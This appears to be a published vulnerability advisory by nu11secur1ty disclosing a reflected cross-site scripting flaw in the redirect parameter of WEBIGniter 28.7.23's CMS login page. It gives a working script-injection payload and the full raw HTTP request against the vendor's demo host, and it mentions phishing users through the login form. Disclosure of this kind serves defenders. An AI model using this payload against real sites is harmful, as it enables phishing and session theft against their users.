WEBIGniter 28.7.23 Cross Site Scripting

## Title: WEBIGniter-28.7.23-XSS-Reflected## Author: nu11secur1ty## Date: 09/04/2023## Vendor: https://webigniter.net/## Software: https://webigniter.net/demo## Reference: https://portswigger.net/web-security/cross-site-scripting## Description:The value of the redirect request parameter is copied into the valueof an HTML tag attribute which is encapsulated in double quotationmarks. The payload ycsz3"><script>alert(1)</script>bn76w was submittedin the redirect parameter. This input was echoed unmodified in theapplication's response.By using this Java Script injection, the attacker can trick a lot ofusers into visiting his dangerous URL which is reflected on the loginform, before they log in, warning them that there is a problem withthe login, which is very nasty and DANGEROUS!## Staus: HIGH Vulnerability[+]Paylod:```GETGET /cms/login?redirect=cmsycsz3%22%3e%3cscript%3ealert(1)%3c%2fscript%3ebn76wHTTP/1.1Host: demo.webigniter.netAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WEBIGniter/2023/WEBIGniter-28.7.23-XSS-Reflected)## Proof and Exploit[href](https://www.nu11secur1ty.com/2023/09/webigniter-28723-xss-reflected.html)## Time spent:01:35:00